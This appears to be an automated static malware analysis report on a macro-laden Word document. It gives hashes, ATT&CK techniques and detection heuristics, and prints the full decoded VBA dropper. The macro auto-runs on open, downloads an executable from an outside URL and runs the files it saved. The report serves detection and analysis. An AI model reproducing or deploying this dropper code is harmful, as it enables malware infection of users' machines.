Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27a671385f845580…

MALICIOUS

Office (OLE)

46.5 KB Created: 2014-06-20 19:37:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: 08c458d4a35d2c2dbd61ea1ed585378c SHA-1: 3fbdecab968c1dd3619ff0d34c006606b461a509 SHA-256: 27a671385f845580b81a7f60057d1d2eddf12b8bafd5045ade81230df92291e5
426 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that leverage WScript.Shell to download a file from 'http://barniefilm1996.ru/info.exe' and save it as '%USERPROFILE%\q\q.com'. The macro then attempts to execute this downloaded file. This behavior is indicative of a dropper malware.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://barniefilm1996.ru/info.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1562 bytes
SHA-256: 44b2513f0b4258b03ff87fce6d20004357bf9d6021fcfbea19d18b1cbcf5fcc8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    h
End Sub
 
Sub h()
 
Set oShell = CreateObject("WScript.Shell")
strH = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
Dim sDir: sDir = strH & "\q"
 
 
 
 
Dim oHTTP: Set oHTTP = CreateObject("MSXML2.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "http://barniefilm1996.ru/info.exe", False
xHttp.Send
 
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile strH & "\q\q.com", 2
End With
 
 
Call m(sDir)
 
End Sub
 
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
 
 
 
Function m(str11)
    Dim fso, f, fc, f1, strF, intFiles
    Dim WshShell
 
    Set WshShell = CreateObject("WScript.Shell")
 
    strF = ""
 
    Set fso = CreateObject("Scripting.FileSystemObject")
    If (fso.FolderExists(str11)) Then
        Set f = fso.GetFolder(str11)
        Set fc = f.Files
 
 
        For Each f1 In fc
        Dim fR
        fR = str11 & "\" & f1.Name
        WshShell.Run Chr(34) & fR & Chr(34), 1, True
    Next
 
        Set f1 = Nothing
        Set fc = Nothing
        Set f = Nothing
 
 
    End If
    Set fso = Nothing
End Function

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